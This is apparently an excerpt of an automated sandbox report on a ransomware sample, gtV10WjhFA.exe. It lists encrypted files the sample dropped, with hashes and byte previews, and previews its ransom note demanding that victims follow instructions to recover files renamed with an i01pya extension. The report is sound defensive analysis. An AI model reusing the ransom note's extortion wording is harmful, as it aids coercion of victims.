            Preview: ..Q.......|..ds..Bls..<.hN........[.>.VU6.\..}...c.>...86-oR..d.._y.Zi.[+...o.7.MP........Q......A.?...f...P.9.rE.......7`...9.].4t.H..^.@..5.m...x.P...~8.G,..(.b.......g..|............u.R..E.i."..?u.2.:.>b?....6=.......Q..$.....m.-+.....KH.."....].A....4n..WE`.Z+.....4...`.H...EJ..d....;.CR....p.8&..n...S.pK.zl.C.X.zx..w...{..HM.+s....o....u....Z...ox..cuj..L.+..R.'.Y.3.......p.k........t.x.4..z..d."..bC..+....p..qP~ilO3J#U..b.....,..1...25e.....=-.=.r.....O*..c....E.].u...c..>I...f....RW.....<n....w..,....4.. .T.../K.+].~RyWr.Zv.(C2 .t....Z........=.5.=7].....Rm.A.L....a..n.^.n.l...:...y.u.Q...d...L.7......FB.<......U.....m.a..?....Xv.O.6)~.....*$...l.FC..ACs.CS..*....%..._.n0.k...D.<.P...8Wr<...".....s..b.....v.....R.Y....Z..L[...u|q..)7+.....X..../tB...,a..=...r..w..~eCS2FB.Jd=.....V.QvZ.....>kl......e..i.....%.d./...."-..jh.......".S...`....)............(.W.....y.B..k..n.&.Wq+..8I.a2.I.Z .#.dE~.T..g...5/......l7Z...vN........
            C:\Users\user\Desktop\GAOBCVIQIJ\PWCCAWLGRE.jpg
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.8279172617784685
            Encrypted:false
            SSDEEP:24:lWdhJMdQLf9/Fk4ChBvrojLrUxPnPPPR18aS39QRhlMB7IZ1UbOzlvuJTniqOsDm:ahJM0FXCh52LrUxP3vf8KVE7I/+MvuJu
            MD5:96FFC23DB83B9D29C53C210E4EC0FE01
            SHA1:15EE3B403522842ADFF196ADF1BA23FD35480D41
            SHA-256:59E46E7F7D865EA68A3FAB7931EF17BBDDC7063A7C9B3035A9E59B5C74C49A34
            SHA-512:23806CEADFDFF71A8C6D7769C641C419CF721DEEDC853101E9E9D36CE3B6F8F4CB7FEA8169B78018CB76827CCBEC670DD56789C4994F71349D7318FA79142125
            Malicious:false
            Preview: ..n..q.....=[...Uq.lc'...<ETaw..&..T.`.%....:....d.8q.~.I ..?...{.H...-Q}.P.M...;%..q/.~..........lXT.3}....OJ.Z.z4...J.9r...4.I...{r.8Sd.u._...%.j6kCp.C....$......\%F.C...H.Hc..*,....&+...m.hJ.|l....,.g.S...l..4..z\T.u.... +...).G.h.+a...........;..S?t.AX.#..u..s.....g.L..u..hY....7.:.r......5Y.@...... ..CV.....8.A).@....T.F.......S.d..>..;.....c.y...-..\.^.......U.E/x.>:e..17.VX.B.?..+..l`....h....<..........H......i.)..6R.l.,..*-:x.....@..Z..T..9[.,....r.......p._.E.....^G.V..n..J..%*...bc./..!..k....7..L.=..^.......[p.+x.q.c..D..d.&j1..2...]...U.F...,-"...H....hS..E...2...h....u.V.!@.[..G......+(>K7Hoy.g.~..ubn.j.U..7...H.:.+j^.^.. .^<.6Q|.$..&.E.LRa..l.imK...9v.#..SWd.O.<..:..sx..S....PZi7!D.Ucn.>%........4.4.g.Ht;JQ".i..;[F....*.....~/F.QU.\hx...L.....[a....Y.b...@....G.@\.[J......V...Gr.....mQ.o...oE.L.g'.\..p.f.&c..D(....)~......+..0...)oHP#^...r..71.@..@.z.Y..O........5.......&..M;..A.V.7G.r.Q...#.<.L..D..I......q...Z.....1K
            C:\Users\user\Desktop\GAOBCVIQIJ\QCFWYSKMHA.pdf
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.81285295350802
            Encrypted:false
            SSDEEP:24:mOUsZw8A0+lMaqvLUa+n7T6EgvsZHjboTcjkgrrYlvuJTniqOsDPVtJ:mmTA1DoY7TvgvsZDU1guvuJTniPsDPVr
            MD5:37B174A100233EF4C2F269B177E024F5
            SHA1:3ED2342AB57DE5DCC40B1944AAD9907D53050923
            SHA-256:29D73501B9AE1BE04E53DDEFA3FC40D3BC9B9D31CDF99B3747F5B135B9CC30A3
            SHA-512:A68479D542E69B68A756B22B087B35235290A4CAF043AFEEDCAEB33487290144D1F8624E1DA021C532AA2251C81EB657BEBA82872B26BF29F83464338D04BB91
            Malicious:false
            Preview: ~.....vK...a..v,t(.. .q...}..... Z....... .......^.......xK.H^....:..X...CF.i....P.u..UW.qS)..1-."..l.8#e..^../W....f........3.P...i.l.h..........j..1..jA..-E.z.M..z}....".y.r!......(...R.g.^~..`..i).M...]....\....W..`:F..2.\.`..".xjc...(t...g.z+..P`.7....~..9\...D...g.E=..rJ..@.]#...."2..w*..s89.A.V`G...h..+V3.E..%..qM..u.....a.....97....l......zl.#~H.]GC.......;..up)q.....Y.....u..K.=.U6...m......* ..7.H+u..77.h....6...t..~...Tn..._z.......F.mn...b.agl..s.L.`1E.D...:...@.%...FaJ.qd......]..F^....B.w.$...)o.Q.JKM.y..O".Z...$........!...B.@.....O...Ib.d<,.4?{&._!*?.Q.Y...%.OpOR%..B{N..i.7..)....S.t.D}.<V..@.......{7Q...T.&!.;..{&...q5..}.U.._.=.\..u9....c;.!..DTov...*.O.[e.*W...Q.N.N.....V..j.....n.(J....[h.V...E....D.V...^np.T.........lKsb\ .X?.6.c.Y..}..O...9..j..z.....>^..%.fW..I.@l..Q..m.....^u.2.....c....._C..a.d....>`.........."...EOuD.dSV...2>.....Y...6.xa...P.I".......J.` u.`....iO...."&i.8..v....6.9g............c{..)y.#()..
            C:\Users\user\Desktop\GAOBCVIQIJ\QNCYCDFIJJ.xlsx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.843987604079283
            Encrypted:false
            SSDEEP:24:gXEih3PMV5PqUgzdqEvsbxilMy36ehhSyYTg9dShh7aQof9ANktM1PLlvuJTniq0:gXEoM5PqXz4rslzXv9oPiBMXvuJTniP3
            MD5:FD3D29945303DAA111AA3F4160D54467
            SHA1:12C454D3C46156B6AF77E65554E1D6902E58536A
            SHA-256:C0443BC1F060DB66BD8ACBD5CECB840B2B11EFD8C6AD7BD0426D4E591E40B87B
            SHA-512:FBEA552FBB4A42EA056F1B421A25DFF3A8002E265F5F7174066CDE5E5DCB977A32D5314FA8357F836C7417ADD6EC32611619D076C69DDD201345085E7A73608B
            Malicious:false
            Preview: .b.o/j..;.....a.w.[./e.^....(A}?".F.g{ ..4{.!?!.O.K..'......,.$..(.uOE..........M....KBm.<..=.....]b..-.........l....8h....Q8S......8H.Op....L..$...|i.^7[.76.......5.`...Ux....".y..L.x........26.D..k...!...&]!.&...Q.d+.:k..9*...e.0....{KdTAS...=.\....O.......RZ....d.C....!..g.,>.|h..Q7...N..+.Xc...../m..^..d;.,...WT+.....X.SQc......dq3{....w;h.B#.@....[..#..HT[.0.....*..A...m.~....L....U.........)n......A..xvN.<.....7s..g/.n%8..bA,.x.}rv.n...u#|........h'...C.l.......)..\.....7G.~>.....Q<..N......4.D.W..".../..x{.FaD..qb.S@WN-.K... *...&....f..9.t.P.b.5...y..*.`.yY....t..x.VD..H>...g$....}.~....!.j...FA....8.+...5...lJ@.9.#....v..$.-Yp...."..k1..yh..XN..0..y....+.q......SR.I.,eHs...Ps.k>..~..e.A.$..w%cT.....J..i...^.<..z;.D.=.NW..ie?....\+p...k.)[.c.n..1.;.nO.I ..EK....+.e~.....d....e\^.TG.B[..O.c%.N`.\..<Q....q3.s_.t...%[.9{-....5=...".9.A......3....))r.y..._VO;;...<..+.t.u...j.3}k....=.v4.,.v.\...I...Um..^..^.YA".L.zaP.2.....
            C:\Users\user\Desktop\GAOBCVIQIJ\SUAVTZKNFL.png
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.822285873848711
            Encrypted:false
            SSDEEP:24:UsZP+d4BYtDkcCziRh6l2oMQdrxyCSZ1UAzQRXqX/lvuJTniqOsDPVtv:Uk94tql2oMyrxyhzQRXqXNvuJTniPsDf
            MD5:B273E1FD31EEFC7185BA038AF3616FFA
            SHA1:47670FDFA2267CC73AE5A88D3273784869C04F2C
            SHA-256:4B7F4C1F3F7238B0F6332B41C6FC4962FDEDEF720F680E70F844AB69C89075AC
            SHA-512:FB0E4CBD175D6433CC8BA44080A95FC1FBCE4BE663C51DF155BD344B455313652EF66E55D7661BA4790AD20F327F5BF222251AAD34D407B0CEED4891BDCC63FE
            Malicious:false
            Preview: .96...m..._....).$...F..3....Jrr...F....2..-}."o.f....k..F.....3..i.Oy..l2.. (. .'.d.xk....iB...C).i?...Qy...p2.. ...y*.. .....B[S-.Z..;g.9.k.03[....nz0.......AC.#..\N?P9/]W.............>.y.{.Z...f..H,k}_..^..y.'...8...5..%(f...c.t5.Y.|.....t..........l..#..q..9z.7O.u.PM...7..u!.~y..t..Fu..[...5r'....l.;....mBa......ej.....A........h....:....fD....O.! .U..pw.1....`.'.{.h8,W....a....!Z.hB..]..G.y.....$...L..x.&........?Z.AyN..7.u.B.M...E..'Jv?....N..Hx....g.'.%..~.(...1...v.{.....`p.w#..xN.9w...C.....R|m....+3.fQ...\p......u..,so%._qT.m..d...i..Rq.......S1.lt.Qhv.68..&......%.=.=ut.[|.C..Pc-....O.R(.CS.....,-.>.........+.i}.>s..C~.w..._J%..U...Z....AH......@..j....+.)..0.8.mr.k{|J.7-1O..i...). .9.....k.-......iY.\.wB.=.[...0...C..&..."i.=U.3W...".q.m...S.*LK...U.i...;......w......&_-H..2.X..ef->.]%.A)52?.U....!..Z...|X... ]`!..X..MK2.....N....!..Q...4....x..*$...7F..s....8<.....uO.{UZ...X.0a.(....D.8?.........".....Ix.*Q.u%...2...
            C:\Users\user\Desktop\GAOBCVIQIJ\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Desktop\GRXZDKKVDB.mp3
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.838161505286722
            Encrypted:false
            SSDEEP:24:hcrEhNlHz6SrWSl8sm6QOGsGLuMna0pdPf8iTS4ElvuJTniqOsDPVtX:PG8/pILuOa0pdX8iexvuJTniPsDPVtX
            MD5:E84682366C74E9BDB7C503B94953C91C
            SHA1:7DE28755539758D7F79DE50BD4160BCB0DAB8488
            SHA-256:7DA76DEB1E2F2DE841DA421AC59D19E9C92CE6F01836A5282A9DD77E1A7F22D2
            SHA-512:9C3C1B69DFE736F3D59E4FE5D3B094813A0512E80642D65C03BB0EB3565C17C153420413CA742E24EBA2C5B52D4E5C99E76B61B0B76B3F26CCB1AB8521534999
            Malicious:false
            Preview: _..,.......c......w..@.._.].zAvB7..t.6.....i......\......T.J.2...2x..=...o>..-..p.L......n2?..Y.z{.Z......TH.n*.a..../_6...|E.N.z..... .!.<.{\<), s....].A."X.an].."...g%.w~H6F...usw.%FN%x.g/...*.&.....k..24."f!g.i?....Mc..$...b....0t.PS.....M........5.....Y.s....8Q.3.p.....P...zm5..g.........b..z...y....>3eq*!..jZ.A.......c..............-m.. .LD...6`....gv.......fB..bl.1..X.nvk.@&......&ll.9..ra-q.:.....S.n+..Y..W.oU.`..R,j..d2..w.Cl?...4...'...c&...C.*1L.;.....1s.......f..6Z...M.}}..Y...S.....$..$U...Q....Eeue.............d.&..^~.!@i..+.4.V....c.}1}.o..-L.AN..^Y....m.A..$.k.0.t.....P.........UYE.....B.4.o..R.......w{....].=.O.8D....$....K.n...e..Ar..,..m...u.z..m@.$......`j.>....h.{..pT.2..V..l......VrN.<..B.&.3:.:U......n..P>ic.)..Sad..Y}....a.Q.hv....eo.k;Cf08........$.v.~q.P.DB...]z...19.......j...L....&..3...'....p......d..^b.#..N[.BcZ....)O....Y\.&2....7..1.`..-N..R...T..[(./.#.-W..k..r.,NL.X.,.z....u5..Ev..B..4j..$!O...ooruC.R.
            C:\Users\user\Desktop\NVWZAPQSQL.png
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.8428255191901854
            Encrypted:false
            SSDEEP:24:/ctBn1IqjeKWY89SfJMmhVbe7bNj6tIjz6YRSe/XfrlvuJTniqOsDPVt53:/eN1ICebTAxMA09f5SefJvuJTniPsDPR
            MD5:991FA1A0D49E2E9D291D7CF8631D94B7
            SHA1:55369B48DE01BA87C46F09278874CE6EDEF6D6DE
            SHA-256:2F684825009577DD0DA3FDBFE67277B8FEA194A325A4EF9AF2EB37D6FD8C00E9
            SHA-512:91C7A2D1F3B9314FD558095FDD6974F7BB9A46E2321885AD765591728AC655D65E29E5A474152547753B3A40BAC8409DA60F845F153953C3B46C525CA45585D6
            Malicious:false
            Preview: ..@\@..i.......QX..8+.}..8.&2y.e{.rM...F..$M.g...CY...'r..a].p.]......z.z....... ....y.".G...g.DD...b..7..,......r.1{C....p$..?..8..D...@m....W.j..+.C.@.Q..H..uPJ>/.V...R..N}'...`.m.nuJL....S.O.O_D.`!ur.G...iA..pw.)-.H1...z.K..;:.i.8.9.1.T.'......q..z.^\...L..2@......l.U|#... ....A...a.)%a......zW..@.`.&.L..<.....Fm.].P.O.....E......QVd^i..-.J+.,.xEN....$...|..7.l[...%......c.|c@...C.BD.....m.q.Z.l....N.Z..V.............V.1.Q......2J.....*..e.C>.....x......k..d..N+..s..'.8s..7...i..2"....4...:...._Bn.;...5.mv.8...{.l.7...w1m.../y..TN.X8)Y,....c..,...+7..mq...yE...i.2.......B.@.T.5.....HRL.E.|K.m...w..Qw.."Q-....r.L6:.w|e..y_[.)...j.E~........R.Y...X..IE..U.*...3X...%P..hZ..<....q.fE..>...K......M.6.....X..i..M.>.a..{.Sn"........c..~...u..,...x....C..^....\.H Cx......O..x...3..0._ D...Z.Y.Q8.e3._...e...`3......A..m.[.|.{iy.v.Q..N?cKA6........T..!.9..$.#..a.@..]/.Dl.~....mapz5.}'74h....,./....B.7.k.^!.i....._.....*..$.....F'...OM.C..M
            C:\Users\user\Desktop\PALRGUCVEH\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Desktop\PIVFAGEAAV.mp3
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.862386697868722
            Encrypted:false
            SSDEEP:24:HmqCScwowZU2IFBAYCwuHkwltrOxALak9tHiFc3atICSULaHRXbhSzlvuJTniqOc:ZCTGUbPpCwelsx4PACAICSJbGvuJTnik
            MD5:6260980C549FA6315B28C746304BB35A
            SHA1:0F166F05D1763D73E59AE66E22F24CB90BBEE6D3
            SHA-256:BD088C716DAF0FB29A55DBC3B8A03C6006B8F561ECEB957A812042910D662915
            SHA-512:04F107488CCB520B63191AD6F375E02081965B52E2569FC4555D3B9CF88F8CE596AE1F7CD9BBA389B46E289832CABC52092ABDC0C6BFAB59BA2DDC16B35FDF52
            Malicious:false
            Preview: \..........M...d.g......hq.[7t..W&.0.xb..2.K.MM.=S..HpT.S..Z.=..Y...W.m.....\7......fOQ....&. RLN..W.m...[.....u....Q.@.4rW.m(.....3... ..7..}.O.W~.1.g...b......`X....pbdG:Dk;)..ux.H..KQy......niA@v...f6qp..:KF..BC?.@r.........,.rf........e.0.T.%F... .V..22o........0.\n.....M.....".[.I...R..~...B..4@RL~9.T.g....d...QxS../ iw....m.6.w.<L...3...... FC...h..b&.....$.......6.Kja...7*...(..e....3...W.,.......H#L.....u|.../.2L.N.P../..N>.../H..m.n...../...i/k..Ek....a.|.5.+...VP...|.J.-.B.p..{.kS...T..hd.....d...l%8J..>.B.#...p$..u.W......%.^.tEv'..P.p....!.3...S..b.8.!.^.0...C<.............z.....T.96..Cl.. ;...a.j.T.".o.B..YYh.X...c".....V..J[n+...#....'t4...K.s...r...A..M...8..../."`..Z...:..!.:.V..(,r.R.....<'.>.`.9...~.......F..z..=.X....E.|......H...*.%F...q.S.B.>....8.J2.j!...-..G...(.n..q.x.>M."=..1..8.....8...$..E.M....G[.6R....`.~..6..Q.....".=...QY.$m...<..Z...m.d...I.S,.T...._z.o0..b...9......9.E..".8.N;x`.].h7.,......q[..]F.6.
            C:\Users\user\Desktop\PIVFAGEAAV.pdf
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.847924918932031
            Encrypted:false
            SSDEEP:24:l1a2dctgl+hBQQ6W6XiUM6XqIQaMdEzg111lvuJTniqOsDPVtyIfa/m:l1H5E1YiUM6X2dEUlvuJTniPsDPVtyQF
            MD5:4806789C96D97EE344A7D662E6E5B29B
            SHA1:3D3F32D5D8353E4B4CEF221B182E0FE0DFCEF52E
            SHA-256:F7F79842BEB0E620EF0BEA52AF37B8BBF77E3DF99848A325A019C6B5A7FCA9FB
            SHA-512:0ED329347CDD050439A267022F3CFC9F000FCA040AD9993FC1A71AC19F44A38B07868703162B44CFD8AC7288225B1FAD30FB6B9D81A64913F969606AE154990F
            Malicious:false
            Preview: .P.O..*.j..muGO..e.=..RNc.*%;R.}h>.....+_..=..,...L0..y~.....T....$..........+...7)8.X...%.6....}....GS.....^..~#.v.L..4......U..+$9..AU..x....x.x......A.v>....=.H....ex..~]7.....R)>lc../.N=.\.+..R.H.F..n^.L..x.bF.f.......D.......K.!lr......fe.^..O.n....mF..'! |.)ebA.b....RkV,....l0.k%...O3G..8.zW..hq.....'o.......<........1.....vq.}....RI..mXd...........m|.<.%.#......QP8&B..Z>....S.. &...2..{^k...4.....P....Q.f...e...`.Q..v....=.,....&.U.D..........[..>.D].n.%.../Q.v.._2... F+...@..M37. ..t..{...G.Vqb.]..!.b8...i...i.e.7......V6..C.....Ri..q}....O.C....Zi..B..f.@R..KW.Z......... j...m.+.4.~..si.-1....|...s............./..S^S..._....Y.v..A.X..*.._.|....JV...n.!.F.Fb.i.T..T.YpD.d.0.! .|"...U&........v\.....:.Ba1I.....|....{....^2.;..H.i`H.^Z.....2...s./......].......h...$......1=.m.........0p<.).....C..)8cx.p....{...M..kw...6... L..s.6.."g-..k..#.K..@....ph:...p...~...3.`...V.....x..4K..w...!....P#.o.........6N@..7..u.1.#.K..[...o].g.jL..{F..h.L
            C:\Users\user\Desktop\PWCCAWLGRE.jpg
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.837208849673246
            Encrypted:false
            SSDEEP:24:EECJCX1WiV6l9EwLeMQJycowGlN5KUrAFTKyYXKpPzkMWpfLlvuJTniqOsDPVt2L:AJCr3weMQ7o/leUrUTxNkDvuJTniPsDm
            MD5:F4A79782A36EBBDF7E746BA385891F37
            SHA1:6FF2E7E8DC75A4B4D8A2A9797FCE1FF5CC00DBC4
            SHA-256:B19F7587F300FAA2DB25AA6B5B3DE1691DD8CA3395848CCAA70A74E4C3990B16
            SHA-512:303F404CF796ADA4A59256C7BC403056752DBD54DDF8695774610A2D0F421BE305EEFD3799847ABF9ED0C121166383F9E22E491E371E16066D5A054430A4489B
            Malicious:false
            Preview: ......n..5....2......x........Xj...:......w...[.-~..$A/...o.........S.i....\F.+f.[.Vv.'i..k@n.......w....,.J..n..r..@..u..A.3w.c....ch..@.@.!F.....\.q.3..B....s^K...x...KD.....3...R...\2....m....U..=........[:j}...._..Lo..'.o.^1.B.b..9.HH.|i...[.4".MY.F.z.....j.8.*...D....>...P..8.z:.Eh~.8.h1..+..w..[L...~.........b.t...j.c.\J-.V....L(n...S.......9.23..!M.@7lC......J...g..fW..VB.n...;. ]g....(:......L.v2.tP.LlDl..'...h.z....4~....MJ.D........aS....y....M`LvI$.IO........pB...P*B`.K0..bn1.]...?..4..G..j...[oa..27g....)a".5.-Z.]...l.Z....a@af..v.@Y..\9.n.~#L_.Ws#..z...jl.}....wi|......T.v.... .{....o...W..Q]&].kc...]@...f.q/h.^..k3c.\iD)..^+d..-D./.....v.%..?0.`nR}....e....j....<*...ssGJ......?.wm..0E..wY...`....5....'.Q.1......`6FK.ze....5..P..Ss.k.....H.y.v...^z]..t..H..s.bc...hy.......F........._9&......t.i....=...o|..>.ky.Z..(..p..=v.a^X..B.O~.*..f.......JuG...o......?w...Lp.._.0J 3._.6.OcO....>..E.!/yC.....h..uy..=...R...^....K.:..G
            C:\Users\user\Desktop\PWCCAWLGRE.xlsx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.838076123928087
            Encrypted:false
            SSDEEP:24:USFB2V8mddt2ZRt1Uu0Ej0sCRnuzA30NG+VWrYymrOZilvuJTniqOsDPVtkcB:HFB2ym5+BNC9uzA30sYyN8vuJTniPsDp
            MD5:6A4644FB61B78B0A63237AF1C96F4B49
            SHA1:7F08A180F808EE5DAEE1B5226E2E34C1A2167EB9
            SHA-256:4E6570B6DC0094FC473A0D9EFC686CD463F6ACE5B37802F813432EEF452B2C2C
            SHA-512:C697A499F457CF36CB62D4F39E31EC7D16836D409C891E3F62B563A534BC77124021D4D0F777836365C982182796D10568CB9067D6D5BEFC19BF24778E821967
            Malicious:false
            Preview: ...S..D.\...N...3..x..4....|:O...z.j...C.'.SQ..8.-gV-.n...].w.9...zb..........P...%.3.]... .ri.d......*..eR_C..L.U.....L..,.R@......-bb..=..p.k?b.!....s.[.q.....".x..m...%.t].V$1.8|.......J}..NUG>.-]....${.x.0....4TaH...b.e.....lq|%._$...QVb.+j.0.......r.$.n..mG..h...2.jOs#d..OZ6'.f)..qq..0!...l.......59..b..k.x*x...gh.S(Fg......^Ku...X..w...$8zFo.../..2/.....yJ.g..._...'.=r........FVR......r...FS.{..mv...Zw.Q].W5.%.q8..:59.....0..[......6.-.>8m.h.\;4.J....F....X.).@R.c.Q'.....iM..P....t.W=.9.i.....L....@.x5..o.....P.U.|.r~.0...d/vS\%L..No.u. 1"4......$P...*.e..o.."a.R.<.L.6.:..D.HR.....b....-A..'._e.L)X.*FL.P...S.'.{G..X.e.....4."......./.}....R....7+...3...A...$n..E...I.../...Jau7I.#.+.......X....[!u....M.0...]>..W..=Wi..%..R.m...;.AE..+s[c..t...n........>.5....Y.~W~.9... A.7...u>.<.AOc...>UE.p...a=.R[.........].2{..}.9....K...Oy.s.d.li.....qlXm..h..rZ"...${l.Z5dm..u~._.%........U.:.n.c8BP.. ..}}..p......+.&.13.;.L`...o.E
            C:\Users\user\Desktop\QCFWYSKMHA.pdf
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.815543869537272
            Encrypted:false
            SSDEEP:24:x1v9CH88GWYVuulCSsvftvFOt22hjB5JQUqh0TJlvuJTniqOsDPVtXhx:x1v8H8mnuub6xljvuJTniPsDPVtXj
            MD5:A001A41637BB509B8CBA1603D044513D
            SHA1:773FF38AA4174A981F96CA5AA3077D5CB4B58D6F
            SHA-256:40EFA900B5573AEFB1A2376C2CD7A148B4AC1047D7FA6B578D44A316008A9C06
            SHA-512:780FCF43C737A3EC6C920524F2ABDC6DDA46DD8B1EA454267E01374ECC3A18748FED79E5935090ED6348FFF414372A0926DF091C8578D97C0FB9BD6842F6C05F
            Malicious:false
            Preview: .. x.V.."....mFq^`;.....jq..q19z....O.:<6'....!...z>....R .........W.B.#.6.M.CF...db.K..K..\d.T63.4..-..5&,W...b.-.<b....l.`?...!,....2...?.K.....n..t.G`\.<..RUJ1.x\...A..a'.|...G$..L...fa..:Q.`...........9. ....,...W!........z<.p.~.O.Q,../. pD...B..........dnA.q{.L.ugL..6.D.]C.F'.s.qO.....qp.....Os..7.AT.*$[U]..j.z!k...7*.."*Wp...O.4.....9NW.#6..v.S..j*.*}...8F...FD..|u...#.......6...q.g..^...2i.4`.....4".B.j.Mn0S.`....V...j......b.....#\;....9.ZL..R.W..x..Fh[..G...a.j.ED.0...1....%...G...w..]cQ............lD.._/E.._F...p....a.....1...)...."......t=u.-.m.a.....*.`..5!..b.W.......U.|S..s.v.&..<_./7~.2..{4r..{.L@.$....W...o0...#u...ID>.E..Y..32..6.k8X...M|.R9..,...$.,.... j.ek?z\5bp.9s@..z....y.2.....|R,...1..y..RF.s.9.B@r...t..>.1\....V....E &.7.Rn.<=..~..;...#oYI.MZ.%.ee...x...J.....'....*...g%.6..~P.......p.0N...$D.]...z..Q.I...n.k?..\X.{.lq7.M$...$p....SyP........].?yn.Uz...O.......O.I.2..2...r....'1.%-.b....9Gr/M6..2|..Y\.
            C:\Users\user\Desktop\QNCYCDFIJJ.docx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.849468290059724
